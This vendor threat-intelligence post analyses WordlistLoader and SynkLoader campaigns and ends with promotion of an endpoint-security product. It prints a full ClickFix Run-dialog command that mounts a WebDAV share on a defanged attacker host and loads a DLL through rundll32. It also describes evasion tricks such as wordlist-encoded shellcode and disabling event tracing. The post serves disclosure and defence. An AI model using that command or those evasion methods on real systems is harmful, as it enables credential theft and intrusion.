WordlistLoader and SynkLoader Target Windows Credentials

Two new loader families deliver infostealers and fake lock screens through pasted commands and Teams messages, using trusted Windows binaries at every step.

Make User-Initiated Code Earn Trust
  • August 26, 2026

An invitation comes through from the company IT help desk. The message invites you to download a utility for cleaning up your machine; the URL takes you to Microsoft’s Azure network. There’s nothing strange about the invitation at all. A few minutes later, an exact replica of the Windows 11 lock screen screen quietly collects your password from you.

What is WordlistLoader? WordlistLoader is a malware loader that uses an array of English words as its shellcode, one word for one byte of code. This malware spreads using fake CAPTCHA invitations and downloads the infostealer Amatera.

How WordlistLoader Hides Code In Plain English

WordlistLoader includes its payload in clear text form. Each variant contains 256 English words, each of which is translated into a single byte. Byte 0x00 corresponds to position 0, while the 144th word equals 0x90, the instruction meaning “nop” on the x86 platform.

String scanning tools will see vocabulary rather than code when analyzing the file. The bytes only form an executable payload at runtime.

The operators have previously encoded the payload using this method twice. The other version replaces the wordlist with the same payload stored in the form of 16-byte UUIDs decoded by the Windows UuidFromStringA function. Changing the format gives practically no additional expenses for the attacker and makes existing detection rules useless.

The loader tries to operate in stealth mode even during the execution. It checks for any other copies of itself and resets the original code of modules modified by protection products. Also, it disables the Windows event tracing by redirecting calls to ntdll!NtTraceEvent to the code returning always 0.

One Pasted Command Opens The Door

Delivery is initiated via legitimate sites containing the injected JavaScript. The following phase is downloaded from a blockchain smart contract storage method that does not leave a take-down-able server anywhere. It creates a false CAPTCHA on top of the website.

A user clicking on the “I’m not a robot” button does nothing it simply copies a code to their clipboard, after which they are prompted to paste the code into their Windows Run dialogue. Nothing executes until the code is actually pasted by the target. The use of this method, ClickFix, grew by 517% in the first half of 2025 and thus became the second most popular attack vector after standard phishing attacks.

The code that gets executed is a small sequence of trusted Windows programs, conhost starts a hidden console prompt, pushd mounts a WebDAV share via HTTPS, and rundll32 loads a loader from there. This loader injects version 4.3.3-alpha1 of Amatera into memory.

Amatera malware exploits credentials and cookies stored in the browser itself. In recent builds, they go as far as obtaining the keys from 64-bit processes protected by Chromium’s Application-Bound Encryption mechanism. Delivery is done by hijacking an existing thread pool instead of creating a remote one.

The Captcha Was Fake. So Was the Lock Screen.

Cyber Attack Analysis: WordlistLoader & SynkLoader Deliver Amatera via Fake CAPTCHAs and a Cloned Lock Screen
Loaders · WordlistLoader & SynkLoader → Amatera Infostealer
THE CAPTCHA WAS FAKE.
So Was the Lock Screen.

Two unrelated malware loaders are getting victims to do the infecting themselves. One hides its payload inside ordinary English words behind a fake “I’m not a robot” check. The other clones the Windows 11 lock screen to collect a password directly. Neither needs an exploit.

LAUNCH SIMULATION
Microsoft Teams – IT Support (External)
STEP 1: THE HELPDESK IMPERSONATION

The operators pose as internal IT over Microsoft Teams and point to a phony “PowerShell Cleaner” installer sitting in Azure blob storage. There’s nothing strange about the invitation, the URL really does lead to Microsoft’s own infrastructure. The victim downloads and runs it like any other install.

PowerShell-Cleaner-Setup.msi – Running
PowerShell Cleaner Setup
Installing, please wait…
What the victim never sees
1 The MSI silently unpacks a PowerShell script and a Python-based loader, SynkLoader
2 SynkLoader checks in with one of three hardcoded servers every 90 – 120 seconds
3 On command, it loads one of its 7 modules, starting with PhishLocker
STEP 2: A REAL INSTALLER, A FAKE PURPOSE

Nothing about “cleaning” ever happens. The MSI is only a delivery wrapper, it drops SynkLoader in the background while the victim watches an ordinary progress bar. SynkLoader then phones home and waits for instructions, one of which is what triggers Step 3.

Local Session – Locked
10:47
Tuesday, August 18
j.harmon@corp.local
Enter password
Alt+Tab is the only thing that breaks this
STEP 3: THE CLONED SIGN-IN SCREEN

Minutes or hours later, PhishLocker reads the logged-in username and the desktop wallpaper, then paints a full-screen window that is easy to mistake for the real Windows password prompt. Whatever gets typed here becomes a valid domain credential in the attacker’s hands.

regional-supplyco[.]com/verify
STARTING OVER: A SEPARATE CAMPAIGN, UNRELATED TO STEPS 1-3
I’m not a robot
reCAPTCHA-style verification
STEP 4: A DIFFERENT MALWARE, A DIFFERENT VICTIM

This is not a continuation of Steps 1-3. It’s a second, unrelated campaign, WordlistLoader instead of SynkLoader, that reaches the same kind of outcome through a completely different door. Delivery starts on an ordinary, otherwise legitimate site carrying injected JavaScript. The next stage loads from a blockchain smart contract instead of a server, so there’s nothing to take down. The checkbox doesn’t run anything, it just copies a code to the clipboard.

Windows – Run Dialog
Run
Type the name of a program, folder, document, or resource, and Windows will open it for you.
cmd /c conhost –headless pushd \\webdav-relay[.]net@SSL\share && rundll32 loader.dll,Run
OK Cancel
conhost opens a hidden console
pushd mounts a WebDAV share over HTTPS
rundll32 loads the payload from that share
Amatera v4.3.3-alpha1 injected via thread-pool hijack
STEP 5: THE PASTE THAT EXECUTES

Nothing runs until the target pastes the code into the Run dialog themselves. This technique, ClickFix, grew 517% in the first half of 2025 and is now the second most common attack vector after standard phishing.

Payload Analysis – wordlist_v2.dat

One English Word Per Byte

“the”0x00
“apple”0x01
“river”0x02
“nop”0x90 (the x86 no-op)
256 words, 256 bytes, one payload
[!] Checks for other running copies of itself
[!] Restores original code in modules hooked by security products
[!] Redirects ntdll!NtTraceEvent to disable Windows event tracing
STEP 6: TEXT THAT COMPILES

String-scanning tools see vocabulary, not code. The bytes only become an executable payload at runtime. A sibling variant swaps the wordlist for 16-byte UUID strings instead, a near-zero-cost change that quietly breaks existing detection rules.

Threat Intel – Amatera & SynkLoader Capabilities
Amatera Infostealer
Browser-stored credentials and cookies, including keys from 64-bit processes behind Chromium’s Application-Bound Encryption. Injected via thread-pool hijack, not a remote thread.
SynkLoader’s 7 Modules
TrafficRedirector (backconnect proxy), StreamMaster (VNC-style remote control), a system profiler that maps the victim’s Active Directory network, and PhishLocker, among three more, checking in every 90–120 seconds.
No group has claimed either campaign. Infostealers alone were responsible for roughly 1.8 billion stolen credentials in 2025.
STEP 7: PURPOSE STILL UNCONFIRMED

Active Directory enumeration, proxy tunnels, and harvested domain credentials look like infrastructure being staged for sale or for a ransomware deployment, not a quick smash-and-grab. A link to initial access brokers is plausible but carries only medium confidence.

PROCESS TREE – This Session ALL SIGNED
conhost.exe
pushd  → net use (WebDAV)
rundll32.exe
msiexec.exe
powershell.exe
python.exe

The User Opened the Door

Every binary in this chain is signed and does what it’s supposed to do every day. There’s not much for anomaly detection to catch here.

  • No exploit occurred
  • No unsigned binary touched disk
  • No suspicious login was recorded
  • The command was pasted, and the password typed, by the user
Xcitium – Execution Governance

HOW EXECUTION GOVERNANCE CLOSES THE GAP

Instead of asking whether an action looks suspicious, kernel-level enforcement asks whether the code performing it is authorized and trusted. A DLL pulled from an attacker’s WebDAV share isn’t, no matter how normal the process loading it looks.

File Writes Virtualized

Untrusted code runs inside a Kernel API Virtualization container, so anything it writes to disk never reaches the real filesystem.

Registry Sandboxed

Persistence and evasion tricks that depend on registry changes, like the LSA package abuse pattern, land in a sandbox instead of the live registry.

Network Connections Blocked

Outbound attempts from the untrusted process are blocked, which makes the whole point of an infostealer moot before it ever reaches a C2.

RECOMMENDED ACTIONS
Defending Against ClickFix and Cloned Lock Screens

Train staff to never paste anything into the Run dialog that a website asked them to copy, and to treat “IT support” requests to install software as suspicious regardless of channel, Teams included. Pair that awareness with execution-control technology that judges code by trust, not by how normal it looks.

SynkLoader Rebuilds The Windows Lock Screen

The second family employs a completely different approach to achieving the same goal. SynkLoader was detected on August 18, 2026, after a scheduled task ran in a customer environment raised the alarm. The file’s timestamps suggest its development took place between July 28 and July 31, 2026.

The threat actors pretend to be internal IT support via Microsoft Teams, leading the victim to download a phony installer for PowerShell Cleaner, which is stored in Azure blob storage. The MSI unpacks a PowerShell script and a Python-based loader that checks in at one of the three hardcoded control servers every 90 to 120 seconds.

There are seven modules known at the moment, which were developed using Python, PowerShell, C# and C++ languages. TrafficRedirector is the backconnect proxy; StreamMaster is the VNC-style remote control component. System profiler collects information about the Active Directory network the compromised host belongs to.

But PhishLocker deserves special attention. It retrieves the current user’s name and lock-screen wallpaper, then opens a full-screen window that users can easily mistake for the Windows 11 password prompt. Entering the password in this window provides the threat actors with valid domain credentials. But pressing Alt+Tab closes the illusion.

What The Operators Want Is Still Unconfirmed

No affiliation has been associated with either campaign. The ultimate purpose for which SynkLoader was created is yet unknown, and the claim linking this malware to ransomware operators and the initial access broker lacks medium confidence.

Nevertheless, the structure of the toolkit is telling. Active Directory enumeration, proxy tunnels, and compromised domain credentials constitute the arsenal of an operator prepping up the infrastructure for sale or for encryption. Nothing of the sort suits a person looking for a quick buck. Compromised credentials can easily be obtained through infostealers which were responsible for about 1.8 billion of the latter in 2025.

We have tracked this pattern before, including a ClickFix campaign that abused DNS queries.

Every Step Runs Through Something Trusted

Let’s take a look at what really executes in these chains. conhostrundll32msiexec, PowerShell, Python. All these binaries carry valid signatures and perform their expected daily functions. The user voluntarily opened the gate, and the attacker never had to cross the perimeter.

There isn’t much for a detection engine to pick up on based on anomalies here. No exploit occurred; no unsigned binary was placed on disk; no suspect login occurred. The malicious component is a DLL that gets loaded from a remote share and a payload reassembled using a wordlist in memory.

Execution Governance alters the fundamental question. Instead of asking if the action seems suspicious, kernel-level enforcement asks if the code performing that action is authorized and trusted. A DLL downloaded from the attacker’s WebDAV share isn’t. Therefore, the Kernel API Virtualization environment executes the code even when a regular process appears to load it. The environment virtualizes file writes, sandboxes registry modifications, and blocks network connection attempts, rendering the infostealer ineffective.

Conclusion: The User Approved the Action. Not the Intent.

The defining lesson from WordlistLoader and SynkLoader is that attackers do not always need an exploit when they can persuade a user to initiate the critical action for them.

The two campaigns take different routes. WordlistLoader uses a fake CAPTCHA to convince the target to paste a command into the Windows Run dialog, after which trusted Windows utilities help retrieve and load code that ultimately delivers Amatera. SynkLoader impersonates IT support, directs the victim to a fake cleanup installer hosted on legitimate Azure infrastructure, and later uses PhishLocker to reproduce the Windows 11 lock screen and collect a password directly. One turns a pasted command into execution. The other turns familiar support and authentication interfaces into trust mechanisms.

Both expose the same defensive weakness, legitimate infrastructure, Windows binaries with valid signatures, and user-approved actions do not prove that an organization authorized the underlying code. WordlistLoader reinforces that problem by reconstructing executable content from ordinary English words or UUIDs only at runtime, while its execution chain attempts to interfere with security visibility. Trust therefore has to extend beyond what the user clicked and what process name appears in the tree.

Why This Threat Matters

  • The user becomes part of the execution chain. ClickFix does not execute until the target pastes the command, while SynkLoader depends on the victim running a disguised installer.
  • Legitimate infrastructure can strengthen the deception. Azure hosting, compromised legitimate websites, and blockchain-based delivery can make attacker-controlled content appear less suspicious.
  • Signed processes do not make the loaded code trusted. conhost, rundll32, msiexec, PowerShell, and Python can perform legitimate functions while participating in attacker-directed execution.
  • Payload representation is cheap to change. Wordlists and UUIDs can represent the same executable content while breaking rules tied to a previous encoding format.
  • Credential theft occurs through different mechanisms. Amatera targets browser credentials and cookies, while PhishLocker directly captures the password entered into its cloned Windows prompt.
  • Attribution and ultimate purpose remain unresolved. The observed capabilities support credential theft, remote access, and network discovery, but a later ransomware or initial-access-broker objective remains an assessment rather than a confirmed outcome.

Where Defensive Control Must Operate

Defense must operate at both the human decision and the execution boundary.

Xcitium Cyber Awareness Education and Phishing Simulation address the social-engineering layer by preparing users to recognize fake CAPTCHA instructions, unexpected IT-support requests, disguised installers, and cloned authentication prompts.

When those decisions still lead to code execution, Xcitium Advanced EDR, powered by Xcitium’s patented Zero-Dwell platform provides the execution layer. Execution Governance evaluates the trust of unknown code rather than granting it unrestricted runtime rights because a user initiated the action or a legitimate Windows process loaded it.

The important distinction is authorization. A user can approve an action without understanding the code or intent behind it.

Train the User. Govern the Execution.

Organizations should treat requests to paste commands into Run or terminal interfaces as a high-risk social-engineering pattern and verify unexpected software requests from IT support through a separate trusted channel.

But awareness cannot be the final security boundary. Users can still make convincing mistakes. The stronger architecture assumes that possibility and ensures that unknown execution still has to earn the rights required to modify the system, establish persistence, or communicate outward.

Like what you see? Share with a friend.

Move Away From Detection With Patented Threat Prevention Built For Today's Challenges.

No one can stop zero-day malware from entering your network, but Xcitium can prevent if from causing any damage. Zero infection. Zero damage.

Book a Demo